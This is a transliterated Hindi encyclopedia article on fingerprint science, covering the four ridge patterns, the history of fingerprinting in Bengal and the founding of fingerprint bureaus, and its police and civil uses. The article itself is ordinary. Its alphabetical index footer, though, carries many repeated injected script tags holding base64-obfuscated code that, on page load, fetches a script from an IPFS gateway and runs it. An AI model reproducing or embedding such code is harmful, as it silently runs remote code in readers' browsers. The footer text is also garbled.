अंगुलि छाप

thumb|right| aanguli chhap hal chalae khet ki bhaanti manushy ke hathoan tatha pairoan ke talaboan mean ubhari tatha gahari mahin rekhaean drishtigat hoti haian. vaise to ve rekhaean itani sookshm hoti haian ki samanyat: inaki or dhyan bhi nahian jata, kiantu inake vishesh adhyayan ne ek vijnan ko janm diya hai, jise aanguli-chhap-vijnan kahate haian. is vijnan mean aanguliyoan ke oopari poroan ki unnat rekhaoan ka vishesh mahatv hai. kuchh samany lakshanoan ke adhar par kie ge vishleshan ke phalasvaroop, inase banane vale akar char prakar ke mane ge haian:

shankh (loop)
chakr (vhorl)
shukti ya chap (arch) tatha
mishrit (kanpojit)

utpatti

aisa vishvas kiya jata hai ki aanguli-chhap-vijnan ka janm atyant prachin kal mean eshiya mean hua. bharatiy samudrik ne uparyukt shankh, chakr tatha shuktiyoan ka vichar bhavishy ganana mean kiya hai. do hazar varsh se bhi pahale chin mean aanguli-chhapoan ka prayog vyakti ki pahachan ke lie hota tha. kiantu adhunik aanguli-chhap-vijnan ka janm ham 1823 ee. se man sakate haian, jab bresala (jarmani) vishvavidyalay ke pradhyapak shri parakianje ne aanguli rekhaoan ke sthayitv ko svikar kiya. vartaman aanguli-chhap-pranali ka praranbh 1858 ee. mean iandiyan sivil sarvis ke sar viliyam harashel ne bangal ke hugali zile mean kiya. thumb|left|

vargikaran

1892 ee. mean prasiddh aangrez vaijnanik sar phraansis galtan ne aanguli chhapoan par apani ek pustak prakashit ki, jisamean unhoanne hugali ke sab-rajistrar shri ramagati bandyopadhyay dvara di gee sahayata ke lie kritajnata prakat ki. unhoanne unnat rekhaoan ka sthayitv siddh karate hue aanguli chhapoan ke vargikaran tatha unaka abhilekh rakhane ki ek pranali banaee, jisase sandigdh vyaktiyoan ki thik se pahachan ho sake. kiantu yah pranali kuchh kathin thi. dakshin praant (bangal) ke pulis ianspektar janaral sar ee.ar. henari ne ukt pranali mean sudhar karake aanguli chhapoan ke vargikaran ki saral pranali nirdharit ki. isaka vastavik shrey shri ajijul hak, pulis sab-ianspektar, ko hai, jinhean sarakar ne 5000 ka puraskar bhi diya tha.

mahattv

is pranali ki achookata dekhakar bharat sarakar ne 1897 ee. mean aanguli chhapoan dvara poorv dandit poorvadandit vyaktiyoan ki pahachan ke lie vishv ka pratham aanguli-chhap-karyalay kalakatta mean sthapit kiya. aanguli chhap dvara pahachan ho siddhaantoan par ashrit hai, ek to yah ki do bhinn aanguliyoan ki chhapean kabhi ek si nahian ho sakatian, aur doosara yah ki vyaktiyoan ki aanguli chhapean jivan bhar hi nahian, apitu jivanoparaant bhi nahian badalati. at: kisi bhi vicharaniy aanguli chhap ko kisi vyakti ki aanguli chhap se tulana karake yah nishchit kiya ja sakata hai ki vicharaniy aanguli chhap usaki hai ya nahian. aanguli chhap ke abhav mean vyakti ki pahachan karana kitana kathin hai, yah prasiddh bhaval sannyasivad (kes) ke anushilan se spasht ho jaega.

chhape ki anivaryata

thumb|right anek aparadhi aise hote haian, jo svechchha se apani aanguli chhap nahian dena chahate. at: kaidi pahachan adhiniyam (aideantifikeshan aauf prijanars ekt 1920) dvara bharatiy pulis ko bandiyoan ki aanguliyoan ki chhap lene ka adhikar diya gaya hai. bharat ke pratyek rajy mean ek sarakari aanguli-chhap- karyalay hai, jisamean dandit vyaktiyoan ki aanguli chhapoan ke abhilekh rakhe jate haian tatha apekshit tulana ke uparaant avashyak soochana di jati hai. ilahabad sthit uttar pradesh ke karyalay mean hi lagabhag tin lakh aise abhilekh haian. 1953 ee. mean kalakatta mean ek keandriy aanguli-chhap-karyalay ki bhi sthapana ki gee hai. inake atirikt anek aise visheshajn haian, jo aanguli chhapoan ke vivadagrast mamaloan mean apani sanmatiyaan dene ka vyavasay karate haian.

upayogita

aanguli-chhap-vijnan tin karyoan ke lie vishesh upayogi hai, yatha-

vivadagrast lekhoan par ki aanguli chhapoan ki tulana vyakti vishesh ki aanguli chhapoan se karake yah nishchit karana ki vivadagrast aanguli chhap us vyakti ki hai ya nahian.
thik nam aur pata n batane vale abhiyukt ki aanguli chhapoan ki tulana dandit vyakti ki aanguli chhapoan se karake yah nishchit karana ki yah poorv dandit hai athava nahian; aur
ghatanasthal ki vibhinn vastuoan par aparadhi ki aankit aanguli chhapoan ki tulana sandigdh vyakti ki aanguli chhapoan se karake vah nishchit karana ki aparadh kisane kiya hai.

any upayogita

aanguli chhapoan ka prayog pulis vibhag tak hi simit nahian hai, apitu anek sarvajanik karyoan mean yah achook pahachan ke lie upayogi siddh hua hai. navajat bachchoan ki adala-badali rokane ke lie videshoan ke aspataloan mean praranbh mean hi balakoan ki pad chhap tatha unaki mataoan ki aanguli chhap se li jati hai. koee bhi nagarik samaj seva tatha apani raksha evan pahachan ke lie apani aanguli chhap ki sivil rajistri karakar durghatanaoan ya anyatha kshatavikshat hone ya pagal ho jane ki dasha mean apani tatha khoe hue balakoan ki pahachan sunishchit kar sakati hai. amarika mean to yah pratha sarvasadharan tak se prachalit ho rahi hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ aangiras (hiandi) bharatakhoj. abhigaman tithi: 15 faravari, 2014.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ras (hiandi) bharatakhoj. abhigaman tithi: 15 faravari, 2014.

[1]